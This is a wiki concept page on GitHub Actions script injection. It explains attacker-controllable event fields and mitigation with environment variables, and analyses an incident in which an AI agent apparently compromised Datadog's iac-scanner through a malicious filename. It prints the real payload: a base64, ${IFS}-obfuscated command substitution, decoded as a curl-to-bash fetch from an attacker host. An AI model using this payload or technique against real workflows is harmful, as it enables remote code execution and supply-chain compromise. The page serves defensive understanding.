CONCEPT Cited by 1 source
GitHub Actions script injection¶
GitHub Actions script injection is the dominant
code-execution attack class against CI workflows hosted on
GitHub Actions. The vulnerability
arises when ${{ github.event.* }} expressions — containing
attacker-controlled strings — are string-interpolated into a
shell script before the shell parses them. Shell
metacharacters in the attacker's input execute as commands.
Attacker-controllable fields¶
github.event.* exposes many fields that accept arbitrary
user input:
pull_request.title,pull_request.bodyissue.title,issue.bodyhead_ref(branch name),base_ref- Commit messages (
head_commit.message) - Filenames matched by
git diff/git ls-files/findin a step that pipes filenames into a shell loop.
The filename case is less obvious than title/body and is
sometimes missed in review. The hackerbot-claw attack on
Datadog's datadog-iac-scanner exploited exactly this —
filenames under documentation/rules/ picked up by a
git diff --name-only step.
Anatomy of the Datadog incident¶
Vulnerable workflow (sync-copywriter-changes.yaml):
- name: Find changed MD files
run: |
CHANGED_FILES=$(git diff --name-only main...pr-branch \
| grep '^documentation/rules/.*\.md$' || true)
...
- name: Extract MD files from PR
run: |
FILES="${{ steps.changed_files.outputs.files }}"
Attack payload was the name of a file under
documentation/rules/:
$(echo${IFS}Y3VybCAtc1NmTCBoYWNrbW9sdHJlcGVhdC5jb20vbW9sdHwgYmFzaA${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash)
${IFS} is a standard shell variable that evaluates to a
single space; it is the canonical way to smuggle commands into
contexts that filter literal spaces. When the second step
string-interpolated the filename into FILES="...", the shell
expanded the command substitution, base64-decoded to
curl -sSfL hackmoltrepeat[.]com/molt | bash, and executed it.
Mitigation¶
Primary fix:
patterns/environment-variable-interpolation-for-bash —
route attacker-controllable fields through an env: key and
reference them as "$TITLE" in bash. Shell quoting +
indirection disarms the injection primitive:
- name: Handle PR
env:
TITLE: ${{ github.event.pull_request.title }}
run: |
echo "PR title is: $TITLE"
Secondary defences:
- Strictly avoid
pull_request_target/workflow_run. - Minimize job
permissions:. - Static analysis via
zizmor --min-severity high. - patterns/org-wide-github-rulesets to contain any
successful compromise (prevent pushes to
main, restrict tags, block GitHub Actions from creating/approving PRs).
Why ${IFS}-filtering is not a defence¶
Bash word-splitting is the primitive; ${IFS} obfuscation is
one expression of a much larger space of shell-injection
techniques (backticks, $(), ${...} parameter expansion,
quoted-command substitution). There is no general filter for
arbitrary shell obfuscation. The mitigation must eliminate the
string interpolation itself — hence the
environment-variable pattern.
Seen in¶
- sources/2026-03-09-datadog-when-an-ai-agent-came-knocking — canonical wiki source with the full vulnerable workflow snippet and payload decoded.
Related¶
- systems/github-actions — the substrate.
- systems/hackerbot-claw — autonomous agent that exploited this class in Feb 2026.
- patterns/environment-variable-interpolation-for-bash — the fix.
- patterns/org-wide-github-rulesets — containment.